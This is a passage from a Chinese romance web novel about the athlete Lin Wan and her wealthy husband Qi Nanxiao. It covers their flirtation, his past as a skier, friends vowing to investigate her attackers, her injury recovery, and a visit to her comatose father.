林晚一大早起来运动完洗了个澡正准备出房门就看到隔壁的房门打开,先是看见一条大长腿迈步出来,而后是身姿颀长的男人。 他边走边套衣服,因为刚洗完澡身上还夹杂着好闻的沐浴露香气,温润的铃兰香,在体温的发酵下散发着淡淡的高级香味,让人忍不住身心慵懒下来。 他在家很少穿西装,灰色运动裤搭配polo衫,更惹人眼的还要数他腰带上那一块块码得整整齐齐的腹肌,腰侧处的鲨鱼肌。 他是典型的宽肩窄腰型身材。要说最性感的莫过于他的腰的,小麦色肤色,每一处线条都很清晰硬朗。 “好看吗?” 低沉暗哑的男声响起。 林晚眼神漂移不定,越是不想看,祁南骁越是走到她面前撩起衣摆给她看:“都是你的。” 靠得近,他身上温润的水汽全都往她毛孔上扑,林晚赶紧瞥开视线,嘴硬道:“还行。” 祁南骁眨了眨眼睛,抓起她的手往腹肌上一放,语气带着诱惑:“摸摸。” 林晚指尖一颤,浑身就跟被电流穿过似的,酥酥麻麻。又想到,他都不介意,她这个占便宜的干嘛要害羞。思及此,她的指间故意抚摸着他的腹肌。 祁南骁喉结上下滚动,忽然想起昨晚的梦,她也是这样用指间撩拨他。 大早上的本就比较容易血气冲动,只是刚一碰到她的手指,就感觉到他身体的变化。 林晚也感受他身体的变化,就连腹肌都比一开始紧绷了许多,她果断抽回手,却被祁南骁半路截胡,重新放在腰带上。 “老婆。”他声音哑涩,说不出的诱人性感。 林晚在心里翻了个白眼,没那个意志力又喜欢撩她,等下难受的又是他自己。她故意往他侧腰轻轻一拧:“没那个金刚钻就别揽瓷器活。” 祁南骁怕痒直接窜出半米远,蹙眉委屈巴巴的朝着林晚看。 林晚瞥了他一眼:“活该。” 祁南骁走过来抱着林晚:“疼。” 林晚瞥了一眼道:“自己忍着。” 祁南骁把她压在墙上,情不自禁的贴着她:“你的心怎么这么狠。” 林晚最受不了他撒娇,可让她推开他,她又不忍心,最后只能任由他抱着。她虽然没谈过恋爱,但也知道男人的生理需求。 她一放纵,有人就‘蹬鼻子上脸’,搂搂抱抱不满足又开始亲她脸颊、眉心、鼻梁:“老婆,什么时候宠我?” 林晚脸憋得通红,不想理他,祁南骁笑出声,他爱死吃定她的感觉了。  林晚抬眸,眼里闪着戏谑的光:“当初说好的不用履行夫妻唔唔” 义务两字还没说出口,祁南骁堵住她的嘴,林晚微微挣扎,他便更加用力,吮住她的舌,卷着她寸步不让,有力且规律。 林晚没几下就身子软在他怀里,攀着他的肩。 祁南骁趁机揽着她的腰。身后是巨大的落地窗,清晨的阳光过滤掉刺眼的阳光透过玻璃洒进来照得整个室内熠熠生辉。 林晚心底里害怕被佣人瞧见,脑海里时刻绷着一根弦。 祁南骁感受到她分了心更加用力吻了过去。 这个吻持续了很久,久到林晚的腿从发软到发酸发麻,她微微推搡了下祁南骁的胸膛。 好在这一次,他没有耍赖,心满意足的放开,垂眸看着她。 林晚不接触跟他接吻,相反她很享受跟他接吻,这种事只有跟心爱的人一起做才能体会到快乐和幸福。 “我该去训练馆了。”她道。 祁南骁抱着她,蹭着她的锁骨,闷闷道:“今天是我们第一天恋爱。” 林晚面不改色,就听到他继续说:“哪有第一天恋爱不陪着男朋友的,谁家情侣整天腻歪的?” 祁南骁幽怨道:“我家。” 林晚眉毛微挑,把人从怀里揪出来道:“这么说你很有恋爱经验咯?” 祁南骁先是一愣,后知后觉她在试探他,哭笑不得道:“没有。你是我的初恋。” 林晚脸上没什么表情,但嘴角的弧度出卖了她心情不错的真相。 “我不信,以你的身家,有的是女人主动找你。”她说这话半是调侃半是真心,像祁南骁这样出身、长相都顶尖的人,只要他给哪个女人多一点眼色,估计当天晚上就有人把女人送他床上了。 祁南骁行动比脑子还快,拉着她的手道:“我发誓,我真的就只喜欢过你一个人。至于为什么一直没有找” 他话说到这,有些苦笑:“从我18开始,文燕莉就想办法给我送女人。她甚至在我18岁生日宴会上给我下药,往我床上塞女人,只是为了要我身败名裂,让爷爷不再重视我。好在当时莫白提前发现我房间里有人,替我解决了这件事。这些年,她想给我送女人的心一直都没死。我又怎么会对她们放下警惕,动心思?” 林晚眼底透着心疼:“上次夜店里的事也是文燕莉安排的吗?” 祁南骁老实点头:“是。” 林晚这一刻分不清是心疼多些还是愤怒多些:“她怎么能这样对你。” 祁南骁看她像只炸毛的小猫咪,为他愤愤不平,心底最后一丝阴郁也散了,戳了戳她的脸,笑道:“所以,你以后要好好保护我,不能让别的女人有机可乘。最好一天24小时都盯着我。” 林晚横了他一眼:“你现在是新鲜着,等我真这么做了,你就得嫌我烦了。” 祁南骁眉眼微挑:“我不会。” 林晚推开他往楼下走:“每一对情侣一开始谈恋爱都恨不得24小时都粘在一起,最后能走到婚姻的又能有几个人。就算幸运走入婚姻,能白头偕老的又有几个人。” 在这点上,林晚一直都很清醒,她知道人生这道选择题,怎么选都会有遗憾。她不敢保证她会永远热烈的爱着祁南骁。这无关他爱不爱她,她的人生应该是广阔天地,而不是一个男人的心。 祁南骁拉住林晚的手,紧紧握着她,他不傻,他当然听得出她话语里对爱情、对婚姻的悲观态度,又或者说是她能看清大多数婚姻的本质,也看清人的本性。 这一刻的林晚从容坚定,她一直都是这样一个内心强大的女人,身上没有半点名利场的讨好,有的只有如沐春风的笑容,清澈温柔的眼睛。 这样的林晚让祁南骁感受到前所未有的遥远,仿佛下一秒,她便会抛下他离开。 可这才是林晚,耀眼夺目,她有漂亮的外表,坚强的内核,她自信、坦荡、坚毅在自己的梦想世界里游刃有余。 她从来就不是谁的附庸品,更不是他的‘专属物’。她是自由的,哪怕她有一天对他说,她不再喜欢他了。 可他爱的不就是这样鲜活自由的林晚吗? 如果哪一天,她真的站在他面前跟他道别,那一定是他没有好好爱她,是他的错。既然如此,只要他做好自己,一往无前地坚守自己的初心去爱她,去追寻她,只要她一个回头,他就在,她就不会对他失望,更不会离开了。 祁南骁永远爱她的自信坚毅、爱她的潋滟妩媚、爱她的亭亭净直。 从前祁南骁没有想过要如何爱一个人,直到遇到林晚。 他才知道,她就是他的远大前程。 祁南骁看着林晚,是从未有过的灼热、认真,像是要刻进灵魂里:“林晚,我知道你有你的前程似锦,我会一直不断的追随你,我想和你共度温柔岁月,亦能与你并肩丈量这天地。” 林晚忽然伸手抱住祁南骁,埋头在他怀中低声道:“好,那你要一直一直站在我身边。” “我也可以埋在你胸前。”祁南骁低声呢喃。 林晚忍不住拍了他一下:“没个正形。” 岁月静好,阳光温温洒在两人身侧,在虚空中划过一道光晕,将两人包围在此刻,像点坠成琥珀,在时间长河里留下不灭的痕迹。 林晚抬眸,就对上祁南骁黑色的瞳孔,慵懒且迷人,从她的眼神里,她能感受到他对她的痴迷与坦荡的爱。让她情不自禁为他心动。 第43章  “我有你就足够了。”…… 林晚跟祁南骁在二楼足足磨蹭了半个多小时才下楼。 林晚倒是一早就想下来了, 奈何祁南骁一直拉着她不放,至于他为何不走,自然是没有平复好生理需求, 他还很霸道,又不用她帮忙还不肯定她离开。 祁南骁拉着林晚回到房间, 把她放在沙发上,自己就进了浴室。门一关,他本以为自己能很快解决, 可事实是只要一想到林晚就在他房间里, 他腹部的火气非但下不去, 反而越来越剧烈 他现在才明白, 为什么方茗泽要形容女人就是朵噬骨花。 林晚,就是专门来啃他骨头的妖精 林晚可不惯着祁南骁, 原本想着趁他进了浴室就直接走人,却不小心瞥见一旁柜子里有个反光的东西,她定睛一看居然是一张歪倒了的照片。 她伸手把照片扶正,正好看见照片里站在厚雪皑皑里的祁南骁。他一身红白滑雪服, 头上戴着护目镜,雪板立在腿间, 像一株自由而坚/挺的松柏。 漫天风雪里,山雪同色,味道照片里的祁南骁一身红, 像一杆鲜明的旗帜,脖子上还挂着一枚奖牌。 他抬眸, 眼底里的灵魂蓄满蓬勃的力量。那时的他看起来也才十四、五岁的样子,不同于如今慵懒、矜贵的他,照片里的祁南骁阳光肆意, 阳光越过他的肩膀,显得他的那双眼睛格外好看,浮光跃金,碎星涌动。 少年微微上扬的桃花眼,黑色的瞳仁微微一笑便能泛起柔波,雪色朦胧闪烁,他就像站在雪色里的青柏干净利落。 “好看吗?”低沉磁性的男声从身后响起,林晚吓了一跳,差点心脏也停了。 她转过身,气道:“你走路怎么没出声?” 祁南骁眸子微挑,似笑非笑道:“明明是你自己看我看得太入迷了。” 林晚:“” 起南骁看出她眼里的无语,不由笑道:“就这么喜欢我?对着我的照片都能发呆。” 林晚迟疑片刻,问出声:“你以前还是职业滑雪运动员?” 祁南骁半真半假道:“小时候玩过。” “15岁能参加世界级赛事了,不只是玩玩了。”林晚转头看着他俏皮地眨眼。 祁南骁垂下眼睫,看向她的目光变得深沉。 林晚觉得他怪怪的,之前怎么说照片都没见他有什么反应,怎么一聊到赛事就变得如此沉默。 她看着他轻声道:“你不想聊的话,那我以后不问这个问题了。” “没有什么不能对你说的。”祁南骁说完拉着她往另一间房间走去。 林晚站在门口看着祁南骁打开门,一股说不出的陈年旧味飘出,微微凉。这是一间杂物间,里面很暗。 “走吧,带你进去看看。”祁南骁把门打得更大,往里走。 林晚紧随其后跟着进去,扫了眼室内,便看到各式各样的滑雪装备、玻璃柜子里还有不少奖牌、奖杯。有些蒙尘,看起来没有想象中的闪烁。 祁南骁顺着她的视线瞥了一眼淡淡道:“都是我小时候赢来的。” “好厉害。”林晚看着柜子里的一块金牌,由衷道。 祁南骁嘴角上扬,将林晚看中的那枚奖牌拿出来擦了擦然后挂她脖子上:“送你了。” 林晚掂了掂手里的金牌,有些意外:“纯金的?” 祁南骁道:“想什么呢,镀的。” 林晚道:“这个好像是你照片里的那块金牌。” 祁南骁点头:“嗯。” “你就这么舍得送我了?”林晚笑道。 祁南骁道:“好歹是带点金的,拿回去熔了还能换个耳钉。” 林晚小心翼翼把奖牌取下来道:“你舍得熔掉?” 祁南骁不答反问:“不重要的东西熔了还能变成金子,不更好?” 林晚抬眸,清澈的眼眸就这么看着他:“这东西要是对你不重要,你也不会一直保留到现在了,还放柜子里裱起来。” 祁南骁看着她把金牌放回去,他又给拿了出来塞她手上:“你说的对,这块金牌对我的确有不一样的意义。我把我最珍贵的金牌送给你,给我最爱的女人有什么问题?” 林晚笑道:“真给我了?那你以后就没得纪念了。” 祁南骁笑了:“我有你就足够了。” 既然他都这么说了,林晚便欣然接受他的这份礼物:“那你怎么没有继续走职业道路?” 她低头把金牌放口袋里,没看到祁南骁眼底的那抹暗色,只听到他说:“我16岁那年在意大利参加比赛的时候被人绑架,祁慕天在去救我的路上出了车祸死了。” 林晚突然抬头,瞪着眼,眼里是震惊和心疼。 祁南骁看见她这副样子,心底里的郁气散了不少,他抬手摸了摸林晚的头,笑道:“没事,我已经不在意了。” 尘归尘,土归土,人死后烟消云散,隔了十三年,祁南骁早已能够很平静地说起这些了。 林晚咽了咽喉咙,这才想起洛梵跟她说过这些事,祁南骁是他爷爷带大的,跟他父母并没有什么感情。可即便如此,亲生父亲的死或多或少跟他有关,那时候的祁南骁面临的境地一定很困难。 “都过去了。”林晚温声开口。 祁南骁抬眸,正好对上林晚心疼的眼神,他眼神隐忍又动容:“你不觉得我冷血吗?” 林晚捕捉到她的情绪,拉住他的手温声道:“我们南骁孝顺爷爷,疼爱侄女,怎么会是个冷血的人。” 她太温柔了。 祁南骁在她的注目里,心底逐渐融化,揽着她的腰:“最重要的一点你没说到。” “什么?” 祁南骁看着她,忽然抬手捏住她的下巴,不等林晚反应过来,他人已经压了上来。 静谧的房间,逐渐升温的空气,祁南骁动情,一手悄无声息的摩挲着她的侧腰,把她往怀里带。唇舌纠缠的声音在狭窄的空间里犹如3D音效环绕在两人之间。 林晚也渐渐沉沦,祁南骁察觉到她没反对,试探性的亲她的唇角、下颌、轻咬她的耳朵,掌心伸进她的衣服里 微凉的触感和揉捏直接惊醒了林晚,她慌忙的后退,祁南骁睁开眼若有其是的抽回手然后举手投降:“我的错。” 林晚气得磨牙,她就不应该心疼他,给点阳光,他就蹬鼻子上脸。 她想往外走,祁南骁先一步拉着她的手:“走吧,我们去吃早餐。” 林晚半信半疑的瞥了眼身旁的人,视线一垂无意间看到他的衣摆下面,刚消下去的气又起来了:“你怎么又” 祁南骁余光看见她的视线,苦笑一声:“素了这么多年,好不容易碰到一个喜欢的女人,它难免会激动。” 林晚气急道:“那你就不能好好控制一下吗?” 祁南骁若无其事又很是无赖的道:“谁让你是它的开关,碰到你,我就管不住它。” 强词夺理,林晚气到顿住脚步,祁南骁回头:“怎么了?” 林晚:“你先解决着,我自己下去。” 祁南骁笑了上前抓住她的手:“不用,等下就好了。” 林晚不信,但是祁南骁根本不肯听她的话,一路大摇大摆拉着她坐电梯下楼。 中途,林晚装作无意又看了眼,发现还真是平复下去了,她有些诧异,这来得快去得也太快了吧,该不是有什么毛病吧,听洛梵说男人年纪越大好像越不行。 祁南骁顺着林晚的目光往下一看,而后打量着她的神情,在她耳边轻声低语:“不给就别撩我。” 林晚抬眼,心平气和的道:“你平时没事还是好好锻炼身体,生物钟好身体才能好。” 她说完抬步往外走,祁南骁跟在她身后越品越觉得她这话不对劲。看见餐桌上她给他盛枸杞百合粥的那一刻,他拳都硬了。 祁南骁忽然倾身脸凑近,温热的呼吸打在她耳后把那小绒毛都吹得立起:“谢谢老婆的关心,我会多吃点,然后喂饱你。” 林晚被他说得筋骨酥软,推开他直接起身离开。 恰好陈嫂带着豆包回来,林晚摸了摸豆包的脑袋跟它道别。 祁南骁跟着出来:“老婆,我送你。” 林晚道:“不用你,还有你现在还不能叫我老婆。” 她脸上的避之不及一览无余。 祁南骁快步走到她身旁:“那你亲我一下再走。” 林晚瞥了眼他的衣摆下面,那意思再明了不过:自讨苦吃。 祁南骁张开双臂要抱她,林晚一个闪身进了车子,祁南骁撑着车窗,趁着林晚不注意探进车里在她脸上亲了一口:“傍晚我去接你,老婆。” 前面开车的阿辉吓得车钥匙差点掉了,南哥这变化也太大了,果然谈了恋爱的男人都得变傻。 林晚走后,祁南骁一个人在家遛狗,逗猫,然后跟莫白通电话。 蛋黄现在已经半个多月大了,身上的毛发长得毛茸茸的,小短腿胡乱扑腾着跟在祁南骁脚后跟学走路,豆包站在它身旁像个保镖似的时刻守护着它。 方茗泽和梁景宸到的时候正看到落地窗后的一人一猫一狗优哉游哉。 而那人一边接电话,一边弯腰把蛋黄从地上捞在手心里。 方茗泽推门进来,祁南骁正好挂上电话。 “你什么时候养的猫?还怪好玩的。”方茗泽说着做势要去抓祁南骁手里的蛋黄。 祁南骁护犊子心切,转身不让他碰:“把你手给我洗干净。” 方茗泽撇了撇嘴:“林晚呢?” 祁南骁坐在沙发上,顺便把猫放身旁,蛋黄一坐下小爪子就轻轻踩着祁南骁的大腿,那模样让梁景宸也忍不住稀罕起来,他伸手把猫抓到自己怀里。 祁南骁心情好,回道:“去训练了。” 方茗泽道:“你怎么不送她去?” 祁南骁敲了根烟出来点燃,随意道:“她不让,我下午再去接她下班。” 闻言,方茗泽眼睛就跟激光雷达似的将祁南骁从头到脚扫视一遍:“你有名分了?” 祁南骁慵懒的靠在沙发上,看似慵懒,但勾起的唇角泄露了他此刻的心情,嘚瑟道:“一直都有,合法的。” 梁景宸推了推眼睛,对于祁南骁样子,简直没眼看。 方茗泽凑热闹:“诶,你跟我说说呗,你是怎么在半个月内就让人家接受你的?” 祁南骁弹了弹烟灰,挑眉道:“她眼光好。” “切,你这么说就没意思了。” 祁南骁瞥了他一眼,上扬的嘴角压都压不住:“你那么关心我们夫妻的事干嘛?你要是闲得慌,我让伯母给你物色个赶紧结。” 方茗泽啧啧两声:“那不能,以后你俩要是补办婚礼,我还得当你的伴郎呢。” 祁南骁想到林晚穿婚纱的样子肯定很美,眼底尽是笑意:“我准备把你安排去当司仪,就你这张嘴最能嘚叭。” “什么时候把我们介绍给她认识?” 祁南骁淡笑道:“得先跟她商量下。” 方茗泽调侃道:“呦,想不到你居然这么听你老婆话。” 祁南骁笑了:“听老婆话有什么错。” 他这是铁了心的要撒狗粮,方茗泽和梁景宸起一身鸡皮疙瘩,却也打从心底替好兄弟高兴,这么多年,他终于有属于他自己的家了。 第44章  肆意洒脱 方茗泽从小跟祁南骁一起长大, 见证他从压抑的幼年到意气风发的少年到如今的横行霸道,不择手段。 祁南骁虽以前跟着父母生活,他小时候很乖, 文燕莉天天逼他吃没有味道的营养餐、不让他碰一丁点零食、甚至他走哪他身后都有一堆佣人保姆‘保护’他,不准他跑跳, 他都默默忍受着。 琴棋书画他都很精通,那时很多人都在背后说他性子这么文静,不像男孩子倒像女孩子。殊不知祁南骁最喜欢的是滑雪、攀岩、冲浪、骑马这些运动。 可祁慕天和文燕莉却说这些运动有风险, 祁南骁要是出了什么意外, 祁南辰就没救了。 所以祁南骁幼年时基本上是被一堆佣人严加看管着长大的, 直到他亲哥病发去世, 祁南骁遭到父母的嫌弃,他才被祁占山接到身边亲自抚养。 打那之后的祁南骁就像重新活了一遍似的, 张扬肆意,玩着他喜欢的滑雪运动,如游鱼回归深海快活自在。 祁南骁本来可以成为职业滑雪运动员的,可也就是在他备战世界杯赛事之际, 他在巴黎被人绑架了。祁慕天在前往交涉的路上出了车祸死了。 那时候的祁占山正配合国企围剿欧洲的一家老牌矿业集团,所有人都知道这场绑架案是针对祁家的报复。 祁南骁最终在相关部/门的配合下被救出来, 祁占山也因此失去一个儿子。本就年老多病的祁老爷子因为这件事大病一场。 祁南骁的肆意和洒脱好像永远停留在16岁那年。 和林晚在一起后的祁南骁,像是回到少年时期一样,眷恋乖巧, 眼神中闪烁着无限的柔情和宠溺。这样的祁南骁有些陌生,又有些熟悉。 说陌生是因为方茗泽跟祁南骁认识这么久, 这还是他第一次见到祁南骁有这么一面,说熟悉,是因为两人从小一起长大, 以前的祁南骁桀骜不驯、蛮横霸道却只有在祁占山面前才会露出乖巧听话的一面,而林晚是继祁占山之后被祁南骁放在心尖尖里的人。 坐下几分钟了,方茗泽收起玩笑心性问道:“怎么突然不让莫白对接收购紫芯的事了?” 祁南骁淡淡道:“我想让他去查一些人。” 莫白是祁南骁的心腹也是他的最佳得力助手,让莫白去调查人简直是大材小用,不过这也恰恰证明这个调查很重要,重要到祁南骁只放心交给他。 方茗泽疑惑道:“什么人?” 祁南骁轻阖双目,没反应,也没侧头,声音低沉蕴含着浓浓的杀意:“所有在林国冬变成植物人后,青云直上的人。” 方茗泽反应很快,顿了一下抬高声音表情严肃道:“你疯了?你知道调查他们的后果吗?你家这么多年一直不愿意踏进那个圈子的浑水里,你现在要打破这个平衡,跟他们硬碰硬对你没有好处。” 祁南骁没说话,骨节分明的手指把玩着陶瓷黑的浮雕打火机,眼眸犀利宛如一柄利剑,只要一想到背后搞鬼的人不除,林晚就多一天陷入危险境地,他心底的愤怒就没法压下去。 “从她嫁给我开始,我跟她就是一体的。祁家早就没法独善其身了,与其在这干坐着去赌人性,不如先下手为强。” 梁景宸把猫放下,微微倾身,眉头一蹙问道:“他们对林晚做了什么?” 祁南骁吐了口烟,眼神微暗,眸低掠过危险的杀意,声音冰冷平静:“他们派亡命之徒去找林晚,要不是当时狗叫提醒了我。后果不堪设想。我自己都舍不得碰的人,居然被别人当棋子一样算计、玩弄。我要是不让那些人身败名裂,我还算什么男人。” 方茗泽和梁景宸对视一眼,两人从祁南骁心平气和的语气里听出他心底里的盛怒,他们都没想到事情会如此恶劣。按照祁南骁宝贝林晚的那个劲儿,他没当场杀了那个亡命之徒都算他理智了。 沉默片刻后,梁景宸出声道:“行,我让澳门那边也帮忙查一下,尤其是涉嫌大额洗/钱的。” 方茗泽点头道:“那些人最喜欢在香港、澳门大额洗/钱,别忘了也查一下这里。” 两人一问一答已经开始商量起来了。 祁南骁把烟按灭,缓缓吐出一抹白烟,他垂眸看不清神色,主动道:“你们没必要掺和进来。” 方茗泽翻了个白眼:“怎么,有了老婆就不要兄弟了?” 祁南骁迟疑片刻才道:“这是一场拉锯战,没那么简单。” 梁景宸拍了拍他的肩膀,眼镜后面的眸子含着笑意:“你也太看不起我们了,难道我们只能同甘不能共苦吗?” 方茗泽笑道:“谁说我们就一定是吃苦的一方,遇到我们仨,到底鹿死谁手还不一定呢。” 祁南骁沉默片刻笑了,举起桌上的杯子道:“谢了。” —— 林晚到达训练馆后之前去找了刘易军和吴添跟他说明昨天发生的事情。两人听了后都吓了一大跳,赶忙叫来队医给她看手和膝盖。 队医给林晚打了针破伤风后嘱咐道:“伤疤尽量不要碰水,平时戴好防水手套。这段时间先别剧烈运动防止伤口裂开。膝盖没什么大问题,先静养一个星期吧。” 林晚闻言并没有想象中的轻松,直到队医离开,她才长叹一口气。 吴添瞥了她一眼:“现在知道愁眉苦脸了,之前让你要劳逸结合保护好膝盖,你不听。现在手脚都出毛病了,只能回家当咸鱼了。” 见她不说话,吴添继续唠叨:“你家那边肯定是不能住了,要不然你就搬去跟茜茜住一起吧。” 茜茜是吴添的女儿,还在上高中。吴添这么安排也是为了保护她,怕她继续在外面住又被那些人找上门。 但林晚不愿意连累他们一家,自己现在就是个活靶子。 “我搬去柳山别墅住了。”林晚笑着道。 吴添愣了下才道:“住那边也好,那边有钱人多,他们不敢找有钱人麻烦。” 林晚垂眸,看不清眼底的神色。 吴添继续道:“给你放了一个星期的假,你可别真给我当咸鱼。该训练的还是要训练。” 林晚点头:“我明白。” 调查组的人如期上门询问她,林晚在会议室里一五一十的将昨天发生的事上报。因为对方问得很详细,她不得不仔仔细细的回答,那些暴力的、血腥的画面历历在目,林晚悄然握住桌上的杯子。 “谢谢林小姐的配合,目前还没查清楚对方是什么人,建议您换个安全的住处,注意人身安全。后续还有什么线索,麻烦第一时间通知我们。” 林晚起身将人送走,边走边道:“好的,我会的。”她现在住在柳山别墅,出门还有保镖跟随,比之前自己单打独斗安全多了。 回到训练馆,林晚很快就忙了起来,开始根据康复师的建议展开恢复训练,只有专注于训练才能将脑海里乱七八糟的画面遗忘掉。 一个上午的时间,忙忙碌碌,她也练了满身大汗。在更衣室洗了个澡,出来后正准备去食堂吃饭,祁南骁的消息就发了过来。 林晚点开祁南骁的对话页面,发现他一早给她发了不少‘骚扰’消息。 8:05分:【你才刚走,我就想你了。】 8:30分:【跟豆包在看你的比赛视频,老婆真厉害。】 9:30分:【一个小时过去了,你怎么还不回我消息?】 11:30:【图片jpg。蛋黄开始学走路了,豆包还很贴心在一旁守着。跟我一样,守着手机等你回消息】 林晚:“” 林晚真是服了他了,工作不好好工作就知道‘骚扰’她。不过,男朋友黏人这一点她还是很满意的,她自己就是一个性格比较冷淡慢热的人,如果这段感情要她一直主动的话,估计长不了。 点开输入框,回了个消息过去。 【刚忙完。】 那边祁南骁几乎秒回:【你终于回我了。】 林晚:【你就不能专心工作吗,有你这样当老板的吗?只会压榨莫白。】 祁南骁:【莫白月薪百万,他还有公司分红,他的分红会根据对公司的贡献度增加。】 林晚:【好吧,是我孤陋寡闻了。】 祁南骁:【我的就是你的。】 林晚:【也不知道谁当初一副防贼似的防着我,给我打了份婚前协议。】 这段文字发过去没几秒,祁南骁直接把电话打过来了,林晚看着他的号码备注,控制不住心动。 划开接通键:“喂?” 手机里传来祁南骁的声音,低沉悦耳:“我现在就让律师重新拟定,那份婚前协议作废。” 林晚开玩笑道:“以后离婚了,财产分我一半的那种夫妻关系吗?” 祁南骁脱口而出:“是。” 后知后觉不对劲,他压低声道:“你休想跟我离婚。” 林晚道:“以后的事谁能保证。” 祁南骁道:“我现在就去找你。” 林晚吓一跳:“你找我干嘛?” 祁南骁:“找你跟我保证以后不准跟我提离婚。” 林晚笑了:“你怎么这么犟,不准来,我要训练没时间见你。” 祁南骁不出声,林晚等了一会儿才道:“我要去食堂吃饭了,不跟你聊了。” 祁南骁说:“我还在生气。” 林晚抿唇偷笑:“你生什么气?” “气你不爱我。” 林晚:“你再胡说八道乱曲解我,我打死你。” 祁南骁道:“下班我接你回家,带你去买手铐和皮鞭,晚上回房我让你打。” 林晚觉得自己头发都要立起来了:“祁南骁。” 手机那头很明显的传出祁南骁的笑声:“嗯,我在。” 林晚:“我看你就是太闲了。” 祁南骁声音比方才更加慵懒了:“闲下来才有时间想你。” 林晚耳根子发热,当初她到底是怎么想的才会觉得祁南骁这人高冷是个狠角色的,明明他就很闷骚。 “不跟你说了,我要去吃饭了。” 祁南骁道:“那你亲我一个,再挂电话。” “嘟嘟嘟” 林晚理都不理,直接挂断,就不应该给他太多阳光。 心里虽是这么吐槽,可嘴角的笑意还是压都压不下去。 第45章  我就喜欢你凶我的样子…… 林晚挂完电话, 等到手机屏幕恢复聊天页面后,心里又开始空落落的,好像习惯了祁南骁的闹腾和傲娇劲儿, 突然安静下来有些恍惚。 谈了恋爱后,生活都五颜六色的 “笑什么呢, 一脸春风如面。”于书雨抬手在林晚面前晃了晃。 林晚回过神儿,定睛一看,于书雨一脸意味深长的盯着她:“坦白从宽, 你是不是谈恋爱了。” 林晚垂眸, 心想不止谈恋爱了, 证都领了, 笑道:“你走路怎么一点动静都没有。” 于书雨道:“是你自己想事情太专心了,” “你这模样像极了陷入爱情里的人, 你该不会真的谈恋爱了吧?” 林晚心虚转移视线:“我都成年了,谈了也不奇怪吧。” 于书雨眼前一亮,像探照灯一样将林晚从头到尾扫了一遍。 林晚服了,这架势像是在研究什么新鲜事:“你这什么眼神?” 于书雨感慨道:“难得看到铁树开花了。” 林晚哭笑不得:“你这什么形容词, 说的我以前活的好像跟尼姑似的。” 两人收好东西一起往食堂方向去,于书雨揽着林晚肩膀笑道:“那可不, 又是吃素又是避男人如蛇蝎。我看网上还有人说你这长相看起来像喜欢女的。” “谁喜欢女的?” 身后突然传来声男声,把林晚和于书雨给吓了一条,两人转头便看到江逸那张帅气的嬉皮笑脸。 于书雨翻了个白眼:“你是鬼啊, 走路无声无息的。” 江逸不以为意道:“你们要是不心虚,干嘛怕我?” 于书雨道:“你哪知眼睛看到我们俩心虚了?分明是你鬼鬼祟祟把我们吓一跳。” 江逸揽着于书雨的肩:“说什么八卦, 快跟我也说说。” 于书雨自然不会把林晚的隐私当八卦说出去,她一个弯腰绕开将江逸的手臂,朝着他的肱二头肌用力一锤:“还说你不是偷听我们说话。” 江逸抱着手臂一边闪:“姑奶奶轻点, 我错了还不行吗?” 林晚往旁边闪,避免被这两人殃及到。 三人打打闹闹赶到食堂打饭找了个角落的位置坐下。 江逸啃着鸡腿道:“对了,林晚你的手怎么包成这样?” 林晚的两只手掌都缠着纱布,只有几根手指可以活动:“不小心刮伤了。” 江逸不疑有它:“那你岂不是又可以休假了?” 林晚点头:“老吴给我放了一个星期。” 江逸哭嚎:“我也想休假。” 于书雨面无表情:“你死了这条心吧,穆队是不会放过你的。只要练不死就往死里练。” 林晚笑着拍了拍他的肩膀:“小伙子年轻有为好好干,争取拿下大满冠。” 于书雨好奇道:“我听说你昨天拿下个一线运动品牌的代言,真的假的?” 江逸唇角勾起淡淡的弧度:“嗯,昨天饭局后沈怀川给我介绍他的合伙人,这个代言也是他给的。” 于书雨有些羡慕,运动员拿下代言有代言费。虽然有部分要上交给国家队,但也比他们每个月领的工资多啊。何况能拿下代言,也能增加一份收入。不过也只有顶尖的运动员才会得到这些资源。 林晚举起杯子跟江逸的杯子碰了下:“恭喜你,又拿下一个代言。” 于书雨也举杯笑道:“记得请客吃饭。” 江逸道:“行啊,过段时间吧。这几天陈年要退役了,这个时候我也不好大张旗鼓的。” 说到陈年,林晚就觉得可惜。陈年今年32了,从12岁开始就练击剑,一直梦想着成为奥运冠军。个人职业赛参加过三次奥运会,第一次实力不佳没能进前五、第二次好不容易进了决赛却因为裁判的偏心只得了亚军,第三次他忍着伤痛想要上场,当时却被周青山死死按着不让上场,只能沦为替补,最后遗憾没能上场。32岁的陈年等不来下一个奥运会了。他家庭条件并不是很好,母亲被查出有癌症,需要大量资金治病。 于书雨点头:“嗯,那就等过段时间吧。” 江逸喝完最后一口汤道:“对了,差点忘了跟你们说。晚上陈年请大家吃饭。” 于书雨看了看林晚,两人又一起抬眸看向江逸。 江逸道:“放心吧,陈年现在有钱了,这点饭钱他还是出得起的。” 于书雨微微蹙眉:“怎么回事?” 江逸道:“沈怀川的合伙人把陈年签下了,等陈年退役后就让他搞自媒体直播带货。签约的合同里承诺给他三千万。” 于书雨有些吃惊:“啊?三千万说给就给,沈怀川他合伙人做的是慈善啊?” 江逸耸耸肩:“说不定是看在沈怀川的面子上给的,而且也不是白给他,他不是还要直播带货嘛。” 林晚微微蹙眉,天下没有免费的午餐,这种还没开始干活就给钱的行为怎么看都不对劲。洛梵他爸爸就投资过那种网红孵化基地,这些公司压榨起那些主播来也是毫不手软。 她想提醒陈年,可人家连合同也签约的话,她再去说真能是给人添堵了,只寄希望于是她想多了吧。沈怀川应该会关照几分吧。 —— 下午三点多林晚去了趟医院看望林国冬,陪他说说话。祁家请了专业护工照顾,林国冬现在看起来比之前刚出手术室时好多了。虽然依然昏睡着,但脸色至少看起来不那么病态了。 林晚接过护工递过来的毛巾,擦拭林国冬的脸,语气如常说:“爸,我来看你了。” “你再不起来,我就要被人给欺负死了。” 回应林晚依然只有呼吸机的声音,林晚有些难过,坐下来轻轻握住林国冬的手:“爸,你快点醒来吧。我跟祁南骁结婚,你也不起来看看吗?他那人臭屁又傲娇,整天就知道欺负我,你快点醒来替我教训他好不好?” 林晚苦口婆心,自言自语,林国冬依旧没有任何反应。 医生说林国冬的情况也许很快就能醒来,也许这辈子就这么一直睡着了。无论如何只要有一丝希望,林晚都不会放弃他,她的第二次生命是林国冬和何俪给的,在她心里他们就是她的亲生父母。 跟林国冬唠嗑了半个多小时,说的都是些家长里短的小事。天光渐昏,澄净暖黄,阳光洒在楼宇交错间的空隙里,照得整个病房像暖澄色的火炉,旖旎且壮阔。 林晚把该说的说完,看着安静沉睡的林国冬,林晚唇角勾起:“爸,我先走了。下次再来看你。” 